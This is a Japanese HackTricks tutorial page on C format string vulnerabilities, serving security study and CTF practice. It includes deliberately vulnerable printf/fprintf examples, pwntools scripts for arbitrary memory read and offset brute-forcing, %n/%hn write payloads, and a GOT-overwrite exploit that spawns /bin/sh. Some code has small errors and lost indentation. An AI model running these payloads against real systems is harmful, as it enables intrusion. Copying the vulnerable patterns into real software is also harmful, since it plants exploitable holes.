12 KiB
フォーマット文字列
htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm。
- ハッキングトリックを共有するには、hacktricksリポジトリ および hacktricks-cloudリポジトリ にPRを提出してください。
基本情報
C言語では、printf
は文字列を表示するために使用できる関数です。この関数が期待する最初のパラメータは、フォーマッタを含む生のテキストです。期待される次のパラメータは、生のテキストからフォーマッタを置換する値です。
他の脆弱な関数には**sprintf()
とfprintf()
**があります。
脆弱性が発生するのは、この関数の最初の引数として攻撃者のテキストが使用された場合です。攻撃者は、printfフォーマット文字列の機能を悪用して、任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込みする特別な入力を作成できます。これにより、任意のコードを実行できるようになります。
フォーマッタ:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
例:
- 脆弱性のある例:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- 通常の使用方法:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- 不足している引数を使用した場合:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf 脆弱性:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
ポインタへのアクセス
フォーマット**%<n>$x
**は、n
が数字である場合、printfにn番目のパラメータ(スタックから)を選択させることができます。したがって、printfを使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします:
printf("%x %x %x %x")
そして、最初から4番目のパラメータまで読み取ることができます。
または、次のようにすることもできます:
printf("$4%x")
そして、4番目を直接読み取ります。
攻撃者がpr
intf
パラメータを制御していることに注意してください。 これは基本的に、printf
が呼び出されるときにスタックに彼の入力があることを意味し、つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。
{% hint style="danger" %}
この入力を制御する攻撃者は、スタックに任意のアドレスを追加し、printf
がそれにアクセスすることができます。次のセクションでは、この動作の使用方法について説明します。
{% endhint %}
任意の読み取り
フォーマッタ**%n$s
を使用して、printf
がn番目にあるアドレスを取得し、それに続いて文字列として出力することが可能です(0x00が見つかるまで出力)。したがって、バイナリのベースアドレスが0x8048000
**であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように出力できます:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} アドレス0x8048000を入力の先頭に置くことはできません。なぜなら、そのアドレスの末尾には0x00が連結されるからです。 {% endhint %}
オフセットの検索
入力のオフセットを見つけるために、4バイトまたは8バイト(0x41414141
)を送信し、%1$x
に続けて値を増やしていき、A's
を取得します。
Brute Force printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### 有用性
任意読み取りは以下のように役立つことがあります:
- メモリから**バイナリ**を**ダンプ**する
- キャナリー、暗号キー、またはカスタムパスワードなどの**機密情報が格納されているメモリの特定の部分にアクセスする**(この[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)でのように)
## **任意書き込み**
フォーマッタ **`$<num>%n`** は、スタック内の\<num>パラメータで指定されたアドレスに**書き込まれたバイト数**を書き込みます。攻撃者がprintfで好きなだけ文字を書き込める場合、**`$<num>%n`** を使用して任意の数値を任意のアドレスに書き込むことができます。
幸いなことに、数値9999を書き込むには、入力に9999個の"A"を追加する必要はありません。そのためには、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`num`の位置で指定されたアドレスに数値`<num-write>`**を書き込むことができます。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
しかしながら、通常、0x08049724
のようなアドレスを書くために(これは一度に書くには巨大な数です)、$n
の代わりに $hn
が使用されます。これにより、2 バイトだけを書くことができます。したがって、この操作はアドレスの上位 2 バイトと下位 2 バイトの両方に対して 2 回行われます。
したがって、この脆弱性により、任意のアドレスに任意のデータを書き込むことが可能です。
この例では、後で呼び出される GOT テーブル内の 関数の アドレスを 上書き することが目標となります。これにより他の任意の書き込みを実行するテクニックを悪用できます:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
ユーザーから 引数を 受け取る関数の アドレスを system
関数に ポイント させます。
前述のように、アドレスを書き込むには通常 2 ステップが必要です: まず、アドレスの 2 バイトを書き込み、その後残りの 2 バイトを書き込みます。これには $hn
が使用されます。
- HOB はアドレスの上位 2 バイトを指します
- LOB はアドレスの下位 2 バイトを指します
その後、フォーマット文字列の動作により、[HOB、LOB] のうち 小さい方を最初に書き込む 必要があります。
HOB < LOB の場合
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
HOB > LOB の場合
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntoolsのテンプレート
この種の脆弱性に対するエクスプロイトを準備するためのテンプレートを以下で見つけることができます:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
または、こちらからの基本的な例:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
バイナリオーバーフローへのフォーマット文字列
フォーマット文字列の脆弱性の書き込みアクションを悪用して、スタックのアドレスに書き込み、バッファオーバーフロータイプの脆弱性を悪用することが可能です。
その他の例と参考文献
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32ビット、relroなし、canaryなし、nx、pieなし、フォーマット文字列を使用してスタックからフラグをリークする基本的な使用例(実行フローを変更する必要はありません)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して
fflush
のアドレスをwin関数(ret2win)で上書きする - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して、
.fini_array
内のmain内のアドレスを書き込み(フローが1回追加でループする)、system
のアドレスをstrlen
を指すGOTテーブルに書き込みます。フローがmainに戻ると、ユーザー入力でstrlen
が実行され、system
を指すようになり、渡されたコマンドが実行されます。